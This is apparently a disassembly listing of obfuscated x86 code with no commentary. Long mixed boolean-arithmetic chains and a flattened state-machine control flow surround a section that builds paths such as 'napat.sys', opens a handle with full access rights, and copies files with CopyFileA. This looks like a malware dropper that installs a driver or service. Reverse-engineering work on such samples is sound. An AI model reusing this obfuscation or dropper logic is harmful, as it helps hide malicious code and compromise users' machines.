mov ecx, 0x879c634f
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0xfe45559a
or ecx, 0xfe45559a
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xf84d0e36
mov esi, 0xffffffff
xor esi, 0xf84d0e36
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xf84d0e36
or eax, 0xf84d0e36
imul eax, edx
add eax, ecx
xor eax, 0xe76a5589
mov esi, 0xffffffff
xor esi, 0x9b6d46f0
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9b6d46f0
or eax, 0x9b6d46f0
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xf30f2d95
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf30f2d95
or eax, 0xf30f2d95
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0xa72a1c28
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0x33fc8571
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x33fc8571
add eax, edx
sub eax, ecx
mov ecx, 0xfb67670d
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x92aefe2a
mov edx, 0xffffffff
xor edx, 0x92aefe2a
and ecx, edx
sub ecx, eax
mov esi, 0xffffffff
xor esi, 0x3fb2b6b1
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x3fb2b6b1
or ecx, 0x3fb2b6b1
imul ecx, edx
add ecx, eax
xor ecx, 0xb314679
and ecx, 0x2d46ad8c
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x48a64372
add ecx, eax
sub ecx, 0xf2022435
xor ecx, 0x5303f317
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x845258c4
mov esi, 0xffffffff
xor esi, 0x845258c4
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x845258c4
or ecx, 0x845258c4
imul ecx, edx
add ecx, eax
sub ecx, 0x98091e88
sub ecx, 0x76185ca7
add ecx, 0x98091e88
mov eax, ecx
and eax, 0x17f68df6
xor eax, 0xffffffff
and ecx, 0x17f68df6
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
and eax, 0x927e5455
add eax, 0x48ba6f12
xor eax, 0xcab43a20
mov edx, eax
xor edx, 0xffffffff
and edx, 0x12aab560
mov esi, 0xffffffff
xor esi, 0x12aab560
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x12aab560
or eax, 0x12aab560
imul eax, edx
add eax, ecx
mov ecx, 0x5cca24d8
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0xa8363dd
mov edx, 0x238a4ee0
cmp esi, 0xa4205d81
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xe34e4d4d
jmp 0x1010b712
mov eax, dword [0x101d1d58]
mov edx, dword [0x101d1d5c]
mov ecx, eax
and ecx, edx
xor eax, edx
or ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x47a238eb
mov eax, 0xffffffff
xor eax, 0x3542d79a
or ecx, edx
or eax, 0x3542d79a
xor ecx, 0xffffffff
and ecx, eax
sub ecx, 0x789e9c04
xor ecx, 0x17a8e8d0
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xd2abc73d
mov edx, 0xffffffff
xor edx, 0xd2abc73d
and ecx, edx
or eax, ecx
mov ecx, 0x14f49d7d
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x5c], eax
mov esi, 0xffffffff
xor esi, 0x5061be9
mov edx, 0xffffffff
xor edx, 0x96ff0d13
and eax, 0x96ff0d13
and ecx, edx
mov edi, esi
and edi, 0x96ff0d13
mov ebx, edx
and ebx, 0x5061be9
or eax, ecx
mov ecx, dword [ebp - 0x5c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x96ff0d13
and ecx, edx
or eax, ecx
and eax, 0xbf0bea2e
sub eax, 0xe0175f79
sub eax, 0x13a1eef1
sub eax, 0x26035f89
xor eax, 0xdf57fce6
mov edx, eax
xor edx, 0xffffffff
and edx, 0x90e9faf4
mov esi, 0xffffffff
xor esi, 0x90e9faf4
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x90e9faf4
or eax, 0x90e9faf4
imul eax, edx
add eax, ecx
imul eax, eax, 0x3cf89ff2
imul eax, eax, 0x9fa9b6c6
xor ecx, ecx
sub ecx, 0xd2e02d99
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6987a126
mov esi, 0xffffffff
xor esi, 0x6987a126
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6987a126
or eax, 0x6987a126
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xf89a364a
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf89a364a
or eax, 0xf89a364a
imul eax, edx
add eax, ecx
imul ecx, eax, 0x75985df5
mov esi, 0xffffffff
xor esi, 0x86f25388
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x86f25388
or ecx, 0x86f25388
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x58], eax
mov esi, 0xffffffff
xor esi, 0xa59a3019
mov edx, 0xffffffff
xor edx, 0x32dd9742
and eax, 0x32dd9742
and ecx, edx
mov edi, esi
and edi, 0x32dd9742
mov ebx, edx
and ebx, 0xa59a3019
or eax, ecx
mov ecx, dword [ebp - 0x58]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x32dd9742
and ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xbbaccbc
mov esi, 0xffffffff
xor esi, 0xbbaccbc
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xbbaccbc
or eax, 0xbbaccbc
imul eax, edx
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x13d3fca1
mov esi, 0xffffffff
xor esi, 0x13d3fca1
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x13d3fca1
or eax, 0x13d3fca1
imul eax, edx
add eax, ecx
sub eax, 0x88176b6a
and eax, 0x39734932
or eax, 0x2c40d599
xor eax, 0xf110dd90
mov ecx, 0xe3ac87dc
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xbef7f5c9
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xafc4e39d
add eax, ecx
add eax, 1
sub eax, 0x1014a46a
mov ecx, 0x22bb480
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0xc07537e2
or ecx, 0xc07537e2
add eax, ecx
add eax, 0xbd4f3b31
sub eax, 0xb805e0e3
sub eax, 0xbd4f3b31
sub eax, 0x2ebcbd81
add eax, 0xe8992c23
add eax, 0x2ebcbd81
add eax, 0x3e806063
imul eax, eax, 0xd87282be
sub eax, 0xee04d2f8
add eax, 0x946eeb91
add eax, 0xee04d2f8
mov ecx, eax
xor ecx, 0x67a98a92
mov edx, 0xffffffff
xor edx, 0x67a98a92
and eax, edx
shl eax, 1
sub eax, ecx
imul eax, eax, 0x9256b160
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x4e96a6cd
mov edx, 0xffffffff
xor edx, 0x4e96a6cd
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x65d3b756
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
and ecx, 0x3487be3a
add ecx, 0x5d7f1aea
add ecx, 0x196676f5
mov esi, ecx
and esi, 0xc2537574
xor ecx, 0xc2537574
or esi, ecx
sub esi, 0x6c806e0e
add esi, 0x2dd087c3
and esi, 0x8fb9bb7d
sub esi, 0xb0e2479e
and esi, 0xd7adbd04
mov ecx, 0x2ac9abfe
mov edx, 0x21cff5a4
cmp esi, 0x2ba1628d
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov esi, 0xd9107eca
mov dword [0x101d4c98], 1
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
sub esp, 0x64
mov edi, esp
mov dword [ebp - 0x74], edi
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0xa8], eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0xa4], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xa0], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x9c], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x98], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x94], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x90], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x8c], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x88], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x84], eax
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x80], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
lea ecx, [0x101d49d8]
add ecx, 0x18
lea eax, [0x101d49d8]
add eax, 0x2c
lea edx, str._s_s
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100938b0
mov edx, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x70]
add esp, 0x10
mov eax, dword [0x101d4b00]
mov edi, closesocket
xor ebx, ebx
sub esp, 0x14
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 0x10], ecx
call eax
mov edx, dword [ebp - 0x68]
mov ecx, eax
mov eax, dword [ebp - 0x6c]
mov dword [eax], ecx
mov eax, dword [0x101d4a24]
lea ecx, str._s_napat
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100938b0
mov ecx, dword [ebp - 0x68]
add esp, 0xc
lea eax, [0x101ca8ba]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.101b7f74
mov ecx, dword [ebp - 0x64]
add esp, 8
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
cmp dword [ecx], 0
setne cl
mov byte [ebp - 0x5d], cl
mov ecx, 0x92b5c404
mov edx, 0x2ac9abfe
cmp esi, 0x34f84ddb
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x5d]
mov ecx, 0xd7f9c85d
mov edx, 0x150c12c3
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
sub esp, 4
mov eax, esp
mov dword [eax], 0x101d40dc
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea esi, [0x101caabf]
lea edx, [0x101d40dc]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x3c
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x3c
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x8c
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x8c
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0xbe
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0xbe
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x118
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x118
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x168
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x168
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x19a
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x19a
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x1a4
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x1a4
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x1b8
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x1b8
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x1cc
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x1cc
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x1d4
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x1d4
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x1de
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x1de
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x2e2
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x2e2
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x3e6
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x3e6
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x5ee
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x5ee
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x6f2
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x6f2
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x4ea
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x4ea
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
lea ecx, [0x101d40dc]
add ecx, 0x7f6
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b8470
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xac]
lea edx, [0x101d40dc]
add edx, 0x7f6
lea esi, [0x101caabf]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.100f8370
mov ecx, dword [ebp - 0x64]
add esp, 0x10
mov edx, dword [ecx]
lea ecx, [0x101caaa2]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1010b720
add esp, 0xc
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101b7d42
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xa8]
mov eax, dword [0x101d4a24]
lea ecx, str._spat.tdr
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100938b0
mov ecx, dword [ebp - 0x68]
add esp, 0xc
mov eax, dword [ebp - 0xa8]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0xa4]
mov eax, dword [0x101d4a24]
lea ecx, str._s_napat.sys
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100938b0
mov ecx, dword [ebp - 0x68]
add esp, 0xc
mov eax, dword [ebp - 0xa4]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xd7f9c85d
jmp 0x1010b712
mov eax, dword [0x101d1d68]
mov ecx, dword [0x101d1d6c]
and eax, eax
xor eax, 0xffffffff
and ecx, ecx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul ecx, eax, 0x8fb7c367
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xf2bad8c6
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xd5320372
mov esi, 0xffffffff
xor esi, 0xd5320372
and edx, esi
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd5320372
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0x61ce1b8c
add eax, 0x1626b5b6
add eax, 0x182f31a
sub eax, 0x1626b5b6
xor eax, 0x49625f5c
mov ecx, eax
and ecx, 0x4a0f64bf
shl ecx, 1
xor eax, 0x4a0f64bf
add eax, ecx
imul eax, eax, 0x819af998
imul eax, eax, 0x9776f73
imul ecx, eax, 0xa14e825e
xor eax, eax
sub eax, 0xf6b12e3f
sub ecx, eax
or ecx, 0xb44de12
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x306a2212
and eax, edx
or ecx, 0x306a2212
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0x6de1b002
mov ecx, eax
and ecx, 0x4b5dce78
xor eax, 0x4b5dce78
or ecx, eax
mov eax, ecx
and eax, 0x5343fac5
or ecx, 0x5343fac5
add eax, ecx
mov ecx, 0x1c1e8e28
xor edx, edx
div ecx
or eax, 0xbc7fa9a5
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x7e304105
mov edx, 0xffffffff
xor edx, 0x7e304105
and eax, edx
or ecx, eax
mov eax, ecx
and eax, 0xbd79c440
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbd79c440
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0x6f92aa7
mov ecx, 0x23c08326
xor edx, edx
div ecx
mov ecx, 0x7a2808cf
xor edx, edx
div ecx
xor eax, 0x35fadb67
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9c8895d
or ecx, edx
mov edx, 0x9c8895d
and edx, 0x9c8895d
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3e8e2838
and eax, edx
or ecx, 0x3e8e2838
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xb1b7c31a
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0x7295c31
mov edx, 0xffffffff
xor edx, 0x7295c31
and ecx, edx
shl ecx, 1
sub ecx, eax
or ecx, 0x59baff53
mov eax, ecx
and eax, 0x2e3c8530
xor ecx, 0x2e3c8530
or eax, ecx
xor eax, 0x7f190350
imul ecx, eax, 0xf5ac2802
add ecx, 0x54393528
sub ecx, 0xb59a0e7e
xor eax, eax
sub eax, 0x885d84b
add ecx, eax
mov eax, ecx
and eax, 0x83d1e07f
xor eax, 0xffffffff
and ecx, 0x83d1e07f
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
or eax, 0x40ef6762
sub eax, 0xc99b893f
imul ecx, eax, 0x1f058632
and ecx, 0xb3e305cf
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xb0], eax
mov esi, 0xffffffff
xor esi, 0x72a70609
mov edx, 0xffffffff
xor edx, 0x35b254ef
and eax, 0x35b254ef
and ecx, edx
mov edi, esi
and edi, 0x35b254ef
mov ebx, edx
and ebx, 0x72a70609
or eax, ecx
mov ecx, dword [ebp - 0xb0]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x35b254ef
and ecx, edx
or eax, ecx
mov ecx, 0x8be60a84
xor edx, edx
div ecx
mov ecx, 0x805fc01
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x8c69033d
xor eax, eax
sub eax, 0xc4cbca43
sub ecx, eax
sub ecx, 0x8cd5a976
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x9b8db1f2
mov esi, 0xffffffff
xor esi, 0x9b8db1f2
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x9b8db1f2
or ecx, 0x9b8db1f2
